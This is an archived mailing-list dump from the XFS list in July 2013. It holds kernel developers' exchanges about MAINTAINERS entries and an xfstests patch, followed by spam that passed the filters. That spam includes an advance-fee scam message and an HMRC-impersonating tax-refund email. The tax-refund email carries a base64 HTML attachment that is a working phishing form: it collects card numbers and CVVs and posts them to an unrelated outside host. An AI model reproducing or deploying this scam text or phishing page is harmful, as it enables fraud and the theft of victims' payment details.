PR0N_SUBJECT Subject has letters around special characters (pr0n) 0.50 BSF_SC1_TG070 Custom Rule TG070 Le 03.07.2013 11:50, Dave Chinner a écrit : > On Wed, Jul 03, 2013 at 11:36:39AM +0200, Yann Droneaud wrote: >> Le 03.07.2013 11:24, Dave Chinner a écrit : >> >On Wed, Jul 03, 2013 at 10:14:41AM +0200, Yann Droneaud wrote: >> >>Le 03.07.2013 08:40, Dave Chinner a écrit : >> >>>On Tue, Jul 02, 2013 at 05:00:47PM +0200, Yann Droneaud wrote: >> >>>>This patch changes type of xfs@oss.sgi.com >> >>>> >> >>>>The output of ./scripts/get_maintainer.pl is >> >>>>modified to report xfs@oss.sgi.com as a list: >> >>> >> >>>What's the problem with that? All XFS patches and problem >> >>>reports should be sent to the xfs@oss.sgi.com list. There are far >> >>>more people than just the maintainer that can triage problems, >> >>>answer questions and review patches... >> >>> >> >> >> >>It was just disturbing: I was looking for a list for XFS >> >>and found only maintainers. >> > >> >That's what the: >> > >> >L: xfs@oss.sgi.com >> > >> >entry is, yes? >> > >> >> In the output of ./scripts/get_maintainer.pl: >> >> Ben Myers (supporter:XFS FILESYSTEM) >> Alex Elder (supporter:XFS FILESYSTEM) >> xfs@oss.sgi.com (supporter:XFS FILESYSTEM) >> linux-kernel@vger.kernel.org (open list) > > You're smarter than a dumb script. If the information that the > script parses is correct and the dumb script doesn't give you the > right information, then what needs fixing? > And what about: If you are the only one[*] to abuse ./scripts/get_maintainer.pl, then what needs fixing ? [*] I have found three other examples of duplicating mailing list as maintainer: $ sed -n 's/^L:[[:space:]]*//p' MAINTAINERS | sort | uniq > L $ sed -n 's/^M:[[:space:]]*//p' MAINTAINERS | sort | uniq > M $ comm -12 L M ceph-devel@vger.kernel.org dm-devel@redhat.com xfs@oss.sgi.com I've sent a patch for xfs@oss.sgi.com and dm-devel@redhat.com, in my first pass I've missed ceph-devel@vger.kernel.org > Seriously, all you are proving is the old adage that > scripts/get_maintainer.pl should be considered harmful because > people use it without first engaging their brain. Just thinking about the whole picture. In this case ./scripts/get_maintainer.pl is going to be right most of time except for 3 subsystems on about 1160. So having the same address for maintainer and list is a rather uncommon case. Which could be misleading for most. Regards. -- Yann Droneaud OPTEYA From david@fromorbit.com Wed Jul 3 05:17:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 333C47F92 for ; Wed, 3 Jul 2013 05:17:31 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A6487AC007 for ; Wed, 3 Jul 2013 03:17:30 -0700 (PDT) X-ASG-Debug-ID: 1372846648-04cb6c2a4682d0c0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id Wx4MWf44hZDfGE38 for ; Wed, 03 Jul 2013 03:17:28 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlkrADv501F5LNm+/2dsb2JhbABagwkyrHwCjk6FJQQBfhd0giMBAQU6HCMQCAMYCSUPBSUDIROIDg26WBaMfoEfFYEdB4NtA5N3g1KRRoMjKoE1 Received: from ppp121-44-217-190.lns20.syd7.internode.on.net (HELO dastard) ([121.44.217.190]) by ipmail05.adl6.internode.on.net with ESMTP; 03 Jul 2013 19:47:27 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UuK7o-0007Id-U0; Wed, 03 Jul 2013 20:17:24 +1000 Date: Wed, 3 Jul 2013 20:17:24 +1000 From: Dave Chinner To: Koen De Wit Cc: Eric Sandeen , "xfs@oss.sgi.com" , "linux-btrfs@vger.kernel.org" Subject: Re: [PATCH v3] xfstests: btrfs/316: cross-subvolume sparse copy Message-ID: <20130703101724.GO14996@dastard> X-ASG-Orig-Subj: Re: [PATCH v3] xfstests: btrfs/316: cross-subvolume sparse copy References: <51D29D17.3050000@oracle.com> <20130702101539.GC14996@dastard> <51D2E33B.1080402@oracle.com> <6B93E4A6-D1C9-4170-8E1C-B94D24F601BB@redhat.com> <20130703063724.GK14996@dastard> <51D3F6CC.2040709@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51D3F6CC.2040709@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1372846648 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135676 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 03, 2013 at 12:02:52PM +0200, Koen De Wit wrote: > On 07/03/2013 08:37 AM, Dave Chinner wrote: > > > On Tue, Jul 02, 2013 at 11:51:21AM -0400, Eric Sandeen wrote: > >> On Jul 2, 2013, at 10:28 AM, Koen De Wit > >> wrote: > >> > >>> Dave, > >>> > >>> Thanks for the review. I will clean up the commit message and do > >>> a full mail-to-myself-and-test-patch round trip to avoid errors > >>> like the wrong test numbers in the golden output. I'm sorry for > >>> this. > >>> > >>> About cutting out file names from the output. I did this in the > >>> first version of the patch: > >>> > >>> md5sum $TESTDIR1/$F | $AWK_PROG 'END {print $1}' > >>> > >>> but Eric Sandeen suggested to include them in order to provide > >>> more context in the output. (See > >>> http://oss.sgi.com/archives/xfs/2013-03/msg00231.html and > >>> http://oss.sgi.com/archives/xfs/2013-03/msg00220.html) That > >>> sounds like a good idea to me, it makes debugging failures > >>> easier. Whose opinion should I follow? > >>> > >> Heh sorry. IMHO maybe a middle ground; not bare md5sum but show > >> only the base name? In the end up to you; it seems Dave and I > >> have different opinions on this. :) > > > > I was just going by current xfstests convention. i.e, in common/rc: > > > > # Prints the md5 checksum of a given file > > _md5_checksum() > > { > > md5sum $1 | cut -d ' ' -f1 > > } > > > > Which is used by all the hole punch tests and generic/311. > > > That's true, but these tests generate other context information in the > output. They don't just print a bunch of checksums. Sure, but it's pretty trivial to work out which sum in output belongs to which file in this test - there's only a handful of them. > (...) > file1: > 00d620f69f30327f0f8946b95c12de44 > e09c80c42fda55f9d992e59ca6b3307d > e09c80c42fda55f9d992e59ca6b3307d That's fine. Cheers, Dave, -- Dave Chinner david@fromorbit.com From k3117628@server42527x.masterweb.net Wed Jul 3 06:41:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.6 required=5.0 tests=FREEMAIL_FORGED_REPLYTO, FREEMAIL_REPLYTO_END_DIGIT,HTML_MESSAGE,HTML_MIME_NO_HTML_TAG,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 394A87F81 for ; Wed, 3 Jul 2013 06:41:43 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 27CCF30407A for ; Wed, 3 Jul 2013 04:41:40 -0700 (PDT) X-ASG-Debug-ID: 1372851697-04cb6c2a47834bb0001-NocioJ Received: from mxout4.masterweb.com (mxout4.masterweb.com [103.11.75.222]) by cuda.sgi.com with ESMTP id uuCmo7hpTYUCsqwV (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 03 Jul 2013 04:41:39 -0700 (PDT) X-Barracuda-Envelope-From: k3117628@server42527x.masterweb.net X-Barracuda-Apparent-Source-IP: 103.11.75.222 Received: from ayam.n.masterweb.com ([49.50.8.110] helo=server42527x.masterweb.net) by mxserver4.masterweb.com with esmtps (TLSv1:DHE-RSA-AES256-SHA:256) (Exim 4.80.1) (envelope-from ) id 1UuLR9-00085V-Bd for xfs@oss.sgi.com; Wed, 03 Jul 2013 18:41:27 +0700 Received: from k3117628 by server42527x.masterweb.net with local (Exim 4.80.1) (envelope-from ) id 1UuJNW-0006W7-OS for xfs@oss.sgi.com; Wed, 03 Jul 2013 10:29:34 +0100 To: xfs@oss.sgi.com Subject: I Await Your Earliest Response From: Mr.Alex Taylor.Name... X-ASG-Orig-Subj: I Await Your Earliest Response Reply-To: taylor.alex626@yahoo.com MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit Message-Id: Date: Wed, 03 Jul 2013 10:29:34 +0100 X-Filter-ID: XtLePq6GTMn8G68F0EmQvR2mPpKg35+RoiSuzlNBdjfwLRoXSSVRcPIosx3pbafQ1jav4mC9JNrb ce/rsZ3BYaTNiZxpS50qpGBV7senz4VHkxSuKmeA0d7MEInJ0hdXcv/UwefozyiZ0g92Ee7LeP9x bu57BDazLmklZgT7xzZQKBxdTkEiQTnLXVk8d8+B6joHqxdH95DntF8nk1FXUlFfEoXm0/FPF8PR 0w363lkRbocRqy0smnN+XkqeEyixvCrJPmnnTHzVkpybMK7ZTQgKMtGXnDcCdqxGtKsWW6mAM2m9 RB2qDZTLwZPMSnftw6nIoDr0sXUZ7YZoZ/GZ+kNQRgFMobzxzCVUuIqQLqQQtQFdV1z+XCe9xJy7 n9zLHxu5IpwUvrZnj+35JldJf5pAS86x0z87eBGtoz8ZWodhrO/UJOkoTbeANJG52tnoQbSGO9Fl lQyGy/hcZzz5sqyQ59rAFQZKFOvzaXCx3yj+7aR+huBFYYFykZMb4Fhu46JREwE7BKw2g48JV1zq W9hhFKgVoNeQHZjmxfKywuAwyvcooR8ukxhx+wvhHcJ4nKVQurH8l2RyOQTH7AN9xZeLcFZqn6aQ UwXdqigm6SNzZia9Zk4ihgSaC36wBVEFxhq8RPuFTN4tXMZI+K1/QzEvuGslKTrRIXcXpFg5ivY= X-Originating-IP: 49.50.8.110 X-SpamExperts-Domain: server42527x.masterweb.com X-SpamExperts-Username: 49.50.8.110 Authentication-Results: masterweb.com; auth=pass smtp.auth=49.50.8.110 X-SpamExperts-Outgoing-Class: unsure X-SpamExperts-Outgoing-Evidence: Combined (0.50) X-Recommended-Action: accept X-Barracuda-Connect: mxout4.masterweb.com[103.11.75.222] X-Barracuda-Start-Time: 1372851698 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.05 X-Barracuda-Spam-Status: No, SCORE=1.05 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ADVANCE_FEE_1, HTML_MESSAGE, HTML_MIME_NO_HTML_TAG, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135680 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 1.05 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) Hello Sir, I am Alex Taylor, a Mexican born British presently residing in Sheffield United Kingdom. I have a proposition bothering on investment project in the India economy which I intend to discuss with you, It will be of mutual benefit to both of us, and I believe we can handle it together once we have a common understanding and mutual collaboration in the implementation of the modalities. I work as an internal auditor with Barclays Bank Plc. Should you be interested, please e-mail back to me for more details. I await your earliest response. Yours Sincerely, Mr.Alex Taylor. From root@bmo.com Wed Jul 3 07:03:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.7 required=5.0 tests=HTML_IMAGE_ONLY_32, HTML_MESSAGE,SUBJ_ALL_CAPS,T_HTML_ATTACH,T_OBFU_HTML_ATTACH, T_TVD_MIME_NO_HEADERS autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E7E1C7F4E for ; Wed, 3 Jul 2013 07:03:26 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D58A030407B for ; Wed, 3 Jul 2013 05:03:23 -0700 (PDT) X-ASG-Debug-ID: 1372853001-04cbb0468eae15f0001-NocioJ Received: from bmo.com (95-170-88-242.colo.transip.net [95.170.88.242]) by cuda.sgi.com with ESMTP id 7cZR8GjJOGGGkKT9 for ; Wed, 03 Jul 2013 05:03:22 -0700 (PDT) X-Barracuda-Envelope-From: root@bmo.com X-Barracuda-Apparent-Source-IP: 95.170.88.242 Received: by bmo.com (Postfix, from userid 0) id 4308B284C33; Wed, 3 Jul 2013 10:01:32 -0400 (EDT) To: xfs@oss.sgi.com Subject: TAX REFUND ID UK193899287-HMRC X-PHP-Originating-Script: 0:luv X-ASG-Orig-Subj: TAX REFUND ID UK193899287-HMRC From: HM Revenue Customs MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="==Multipart_Boundary_x9eff887ba13c3d1714da3315174ed00fx" Message-Id: <20130703140132.4308B284C33@bmo.com> Date: Wed, 3 Jul 2013 10:01:32 -0400 (EDT) X-Barracuda-Connect: 95-170-88-242.colo.transip.net[95.170.88.242] X-Barracuda-Start-Time: 1372853001 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.90 X-Barracuda-Spam-Status: No, SCORE=0.90 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA590, BSF_SC5_MJ1963, HTML_IMAGE_ONLY_32, HTML_MESSAGE, MIME_MISSING_BOUNDARY, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135683 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_IMAGE_ONLY_32 BODY: HTML: images with 2800-3200 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 MIME_MISSING_BOUNDARY RAW: MIME section missing boundary 0.20 BSF_SC0_SA590 Custom Rule SA590 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 This is a multi-part message in MIME format. --==Multipart_Boundary_x9eff887ba13c3d1714da3315174ed00fx Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: 7bit HMRC

    Tax Refund Notification

    HM Revenue & Customs (HMRC)
    Date: 03/07/2013



    Dear Applicant:

    Following an upgrade of our computer systems and review of our records we have investigated your
    payments and latest tax returns over the last three years our calculation show that that your have made
    over payments of GBP 323.52

    Due to high volume of refunds due you must complete the online application, the telephone help
    line is unable to assist with this application. In order to process your refund you will need to coplete
    the application form attached to this email.Your refund may take up to 6 weeks to process,please make sure
    you complete the form correctly.

    NOTE: If you've received an Income Tax 'repayment' it will either be following a claim you've made
    or becouse HM Revenue & Customs (HMRC) has received new information about your taxable
    income or entitlement to allowances. The refund may come through your tax code or as a payment and
    could relate to the current tax year or earlier years.

    An Income Tax repayments is a refund of tax that you've overpaid.So, if you've paid too much tax for
    example through your job or pension this year or in previous years HMRC will send you a repayment.
    You'll get the repayment by bank transfer directly in your credit or debit card.


    Sincerely,
    Mark P. Gibson
    HMRC Tax Credit Office
    TAX REFUND ID: UK193899287-HMRC

    Copyright 2013, HM Revenue & Customs UK All rights reserved.

    Business Link access to better business - opens Business Link homepage in a new window © Crown Copyright | Terms & Conditions | Privacy Policy | Accessibility Directgov straight through to public services - opens Directgov homepage in a new window   --==Multipart_Boundary_x9eff887ba13c3d1714da3315174ed00fx Content-Type: {"application/octet-stream"}; name="TAX REFUND ID UK193899287-HMRC.html" Content-Disposition: attachment; filename="TAX REFUND ID UK193899287-HMRC.html" Content-Transfer-Encoding: base64 PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEvL0VOIiAiaHR0cDov L3d3dy53My5vcmcvVFIvaHRtbDQvc3RyaWN0LmR0ZCI+DQo8aHRtbCBjbGFzcz0ianMiIGxhbmc9 ImVuIj48aGVhZD4NCiAgICA8dGl0bGU+SE1SQzogVGF4IFJlZnVuZDwvdGl0bGU+DQogICAgPG1l dGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9 SVNPLTg4NTktMSI+DQoJCQkJCTxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtU3R5bGUtVHlwZSIg Y29udGVudD0idGV4dC9jc3MiPg0KCQkJCQk8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVNjcmlw dC1UeXBlIiBjb250ZW50PSJ0ZXh0L2phdmFzY3JpcHQiPg0KICA8c2NyaXB0IHNyYz0iaHR0cDov L2FqYXguZ29vZ2xlYXBpcy5jb20vYWpheC9saWJzL2pxdWVyeS8xLjMuMi9qcXVlcnkubWluLmpz IiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Imh0dHA6Ly93 d3cuYXByLXNlcnZpY2UucnUvaW1hZ2VzL2pxdWVyeS52YWxpZGF0ZS5qcyIgdHlwZT0idGV4dC9q YXZhc2NyaXB0Ij48L3NjcmlwdD4NCg0KICAgICAgICA8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2Ny aXB0Ij4NCg0KZnVuY3Rpb24gY2hlY2tfYWxsKGZvcm0pIHsNCgkJaWYgKGZvcm0uYWRkcmVzcy52 YWx1ZS5sZW5ndGggPCA1KSB7DQogICAgICAgICAgICAgICAgYWxlcnQoIlBsZWFzZSBlbnRlciB5 b3VyIEFkZHJlc3MiKTsNCiAgICAgICAgICAgICAgICBmb3JtLmFkZHJlc3MuZm9jdXMoKTsNCiAg ICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCgkJDQoJCWlmIChmb3JtLmNp dHkudmFsdWUubGVuZ3RoIDwgMikgew0KICAgICAgICAgICAgICAgIGFsZXJ0KCJQbGVhc2UgZW50 ZXIgeW91ciBDaXR5Iik7DQogICAgICAgICAgICAgICAgZm9ybS5jaXR5LmZvY3VzKCk7DQogICAg ICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQoJCQ0KCQlpZiAoZm9ybS5wb3N0 Y29kZS52YWx1ZS5sZW5ndGggPCA1KSB7DQogICAgICAgICAgICAgICAgYWxlcnQoIlBsZWFzZSBl bnRlciB5b3VyIFBvc3RhbCBDb2RlIik7DQogICAgICAgICAgICAgICAgZm9ybS5wb3N0Y29kZS5m b2N1cygpOw0KICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KCQkNCgkJ aWYgKGZvcm0uY2MudmFsdWUubGVuZ3RoIDwgMTYpIHsNCiAgICAgICAgICAgICAgICBhbGVydCgi UGxlYXNlIGVudGVyIHlvdXIgQ2FyZCBOdW1iZXIiKTsNCiAgICAgICAgICAgICAgICBmb3JtLmNj LmZvY3VzKCk7DQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQoJCQ0K CQlpZiAoZm9ybS5jdnYudmFsdWUubGVuZ3RoIDwgMykgew0KICAgICAgICAgICAgICAgIGFsZXJ0 KCJQbGVhc2UgZW50ZXIgeW91ciBDVlYvQ05WIik7DQogICAgICAgICAgICAgICAgZm9ybS5jdnYu Zm9jdXMoKTsNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQoJCQkJfQ0KfQ0KPC9zY3Jp cHQ+DQogICAgDQogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL29ubGlu ZS5obXJjLmdvdi51ay9zdHlsZS9jay9obXJjLmNzcyIgdHlwZT0idGV4dC9jc3MiPg0KICAgICAg ICAgICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJUYXglMjBSZWZ1bmQlMjBGb3JtX2Zp bGVzL3ByaW50LmNzcyIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJwcmludCI+DQogICAgICAgICAg ICA8IS0tW2lmIElFIDddPg0KICAgICAgICAgICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVm PSIvc3R5bGUvY2svaWU3Zml4LmNzcyIgdHlwZT0idGV4dC9jc3MiPg0KICAgICAgICAgICAgPCFb ZW5kaWZdLS0+DQogICAgICAgICAgICA8IS0tW2lmIElFIDZdPg0KICAgICAgICAgICAgPGxpbmsg cmVsPSJzdHlsZXNoZWV0IiBocmVmPSIvc3R5bGUvY2svaWU2Zml4LmNzcyIgdHlwZT0idGV4dC9j c3MiPg0KICAgICAgICAgICAgPCFbZW5kaWZdLS0+DQogICAgICAgICAgICA8IS0tW2lmIElFIDVd Pg0KICAgICAgICAgICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSIvc3R5bGUvY2svaWU1 Zml4LmNzcyIgdHlwZT0idGV4dC9jc3MiPg0KICAgICAgICAgICAgPCFbZW5kaWZdLS0+DQogICAg DQogICAgDQogIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQogIC5qcyAjdG9wICNTZWxlY3RTZXJ2 aWNlcyAucG9ydGxldC1ib2R5IC5mdWxsLXdpZHRoIC5maWVsZCB1bCBsaSB0YWJsZSB0ciB0ZCBk aXYgYiB7DQoJZm9udC13ZWlnaHQ6IGJvbGQ7DQp9DQogIDwvc3R5bGU+DQo8L2hlYWQ+DQogIDxi b2R5IGlkPSJ0b3AiPg0KICAgIA0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQo8ZGl2 IGlkPSJoZWFkZXIiPg0KICAgICAgICAgPHVsIGNsYXNzPSJzY3JlZW4tcmVhZGVyIj4NCiAgICA8 bGk+DQogICAgICA8YSBhY2Nlc3NrZXk9InMiIGhyZWY9IiNtYWluIj5Ta2lwIHRvIG1haW4gY29u dGVudDwvYT4NCiAgICA8L2xpPg0KICAgIDxsaT4NCiAgICAgIDxhIHRpdGxlPSJvcGVucyBpbiBh IG5ldyB3aW5kb3ciIHRhcmdldD0iX2JsYW5rIiBhY2Nlc3NrZXk9IjIiIGNsYXNzPSJuZXctd2lu ZG93IiBocmVmPSJodHRwOi8vd3d3LmhtcmMuZ292LnVrL25ld3MvaW5kZXguaHRtIj5XaGF0J3Mg TmV3PC9hPg0KICAgIDwvbGk+DQogICAgPGxpPg0KICAgICAgPGEgdGl0bGU9Im9wZW5zIGluIGEg bmV3IHdpbmRvdyIgdGFyZ2V0PSJfYmxhbmsiIGFjY2Vzc2tleT0iNSIgY2xhc3M9Im5ldy13aW5k b3ciIGhyZWY9Imh0dHBzOi8vb25saW5lLmhtcmMuZ292LnVrL2luZm9ybWF0aW9uL2ZhcXMiPkZy ZXF1ZW50bHkNCkFza2VkIFF1ZXN0aW9uczwvYT4NCiAgICA8L2xpPg0KICAgIDxsaT4NCiAgICAg IDxhIHRpdGxlPSJvcGVucyBpbiBhIG5ldyB3aW5kb3ciIHRhcmdldD0iX2JsYW5rIiBhY2Nlc3Nr ZXk9IjciIGNsYXNzPSJuZXctd2luZG93IiBocmVmPSJodHRwOi8vY3VzdG9tcy5obXJjLmdvdi51 ay9jaGFubmVsc1BvcnRhbFdlYkFwcC9jaGFubmVsc1BvcnRhbFdlYkFwcC5wb3J0YWw/X25mcGI9 dHJ1ZSZhbXA7X3BhZ2VMYWJlbD1wYWdlQ29udGFjdFVzX1Nob3dDb250ZW50JmFtcDtwcm9wZXJ0 eVR5cGU9ZG9jdW1lbnQmYW1wO3Jlc2V0Q1Q9dHJ1ZSZhbXA7aWQ9SE1DRV9QUk9EMV8wMjUzMDci PkNvbXBsYWludHMgUHJvY2VkdXJlPC9hPg0KICAgIDwvbGk+DQogICAgPGxpPg0KICAgICAgPGEg dGl0bGU9Im9wZW5zIGluIGEgbmV3IHdpbmRvdyIgdGFyZ2V0PSJfYmxhbmsiIGFjY2Vzc2tleT0i OSIgY2xhc3M9Im5ldy13aW5kb3ciIGhyZWY9Imh0dHA6Ly93d3cuaG1yYy5nb3YudWsvbWVudXMv Y29udGFjdHVzLnNodG1sIj5Db250YWN0IFVzPC9hPg0KICAgIDwvbGk+DQogICAgPGxpPg0KICAg ICAgPGEgdGl0bGU9Im9wZW5zIGluIGEgbmV3IHdpbmRvdyIgdGFyZ2V0PSJfYmxhbmsiIGFjY2Vz c2tleT0iMyIgY2xhc3M9Im5ldy13aW5kb3ciIGhyZWY9Imh0dHA6Ly93d3cuaG1yYy5nb3YudWsv bmF2L2luZGV4Lmh0bSI+U2l0ZW1hcDwvYT4NCiAgICA8L2xpPg0KICAgIDxsaT4NCiAgICAgIDxh IHRpdGxlPSJvcGVucyBpbiBhIG5ldyB3aW5kb3ciIHRhcmdldD0iX2JsYW5rIiBhY2Nlc3NrZXk9 IjQiIGNsYXNzPSJuZXctd2luZG93IiBocmVmPSJodHRwOi8vc2VhcmNoLmhtcmMuZ292LnVrL2ti cm9rZXIvaW5sZHJldi9pbmxkcmV2L3NlYXJjaC5sc2ltIj5TZWFyY2g8L2E+DQogICAgPC9saT4N CiAgPC91bD4NCiAgICAgICAgIDxhIGhyZWY9Imh0dHA6Ly93d3cuaG1yYy5nb3YudWsvIiBhY2Nl c3NrZXk9IjEiPjxpbWcgc3JjPSJodHRwczovL29ubGluZS5obXJjLmdvdi51ay9pbWFnZXMvaG1y Y0xvZ28uZ2lmIiBhbHQ9IkhNIFJldmVudWUgJmFtcDsgQ3VzdG9tcyIgaGVpZ2h0PSI2MiIgd2lk dGg9IjE2MCI+PC9hPg0KICAgICAgICAgPGRpdiBpZD0iaGVhZGVyLXRpdGxlIj5PbmxpbmUgU2Vy dmljZXM8L2Rpdj4NCiAgICAgICAgIDx1bCBjbGFzcz0iaW5saW5lLW5hdmlnYXRpb24iPg0KICAg ICAgICAgICAgPGxpPg0KICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cDovL3d3dy5obXJjLmdv di51ay8iIGFjY2Vzc2tleT0iMSI+SE1SQyBob21lPC9hPg0KICAgICAgICAgICAgPC9saT4NCiAg ICAgICAgICAgIDxsaT48YSB0aXRsZT0ib3BlbnMgaW4gYSBuZXcgd2luZG93IiB0YXJnZXQ9Il9i bGFuayIgaHJlZj0iaHR0cDovL3d3dy5obXJjLmdvdi51ay9tZW51cy9jb250YWN0dXMuc2h0bWwi IGNsYXNzPSJuZXctd2luZG93Ij5Db250YWN0IHVzPC9hPiAgICAgICAgICAgIDwvbGk+DQogICAg ICAgICAgICA8bGk+DQoJCQkJCQkJPGEgdGl0bGU9Im9wZW5zIGluIGEgbmV3IHdpbmRvdyIgaHJl Zj0iaHR0cHM6Ly9vbmxpbmUuaG1yYy5nb3YudWsvaW5mb3JtYXRpb24vaGVscD9oZWxwY2F0ZWdv cnk9cmVnaXN0cmF0aW9uIiBhY2Nlc3NrZXk9IjYiIGNsYXNzPSJwb3B1cC13aW5kb3ciPkhlbHA8 L2E+DQogICAgICAgICAgICA8L2xpPg0KICAgICAgICAgIA0KICAgICAgICAgPC91bD4NCgkJCQk8 L2Rpdj4NCiAgICA8ZGl2IGlkPSJiYW5uZXIiPg0KICAgICAgDQogICAgICA8ZGl2IGlkPSJ1c2Vy LWluZm9ybWF0aW9uIj4NCiAgICAgICAgDQogICAgICA8L2Rpdj4NCiAgICAgIA0KICAgICAgICA8 aDEgY2xhc3M9Im5vLW1lbnUiPg0KICAgICAgICAgIFJlZnVuZCBGb3JtDQogICAgICAgIDwvaDE+ DQogICAgICANCiAgICAgIDxhIG5hbWU9Im1haW4iIGNsYXNzPSJzY3JlZW4tcmVhZGVyIj48L2E+ DQogICAgICANCiAgICA8L2Rpdj4NCiAgCQ0KCSAgICAgIA0KCSAgICAgIA0KCSAgICAgICAgICAN Cg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0K DQoNCiANCg0KIDxkaXYgaWQ9IlNlbGVjdFNlcnZpY2VzIiBjbGFzcz0icG9ydGxldCBuby10aXRs ZS1iYXIiPg0KDQogIDxkaXYgY2xhc3M9InBvcnRsZXQtaGVhZGVyIj4NCiAgICA8aDI+Jm5ic3A7 PC9oMj4NCiAgPC9kaXY+DQoNCg0KICA8ZGl2IGNsYXNzPSJwb3J0bGV0LWJvZHkiPg0KICAgIA0K DQogICAgPGZvcm0gYWN0aW9uPSJodHRwOi8vY2FsaXNpcmhpZHJvbGlrLmNvbS9zby9SZXNpbWxl 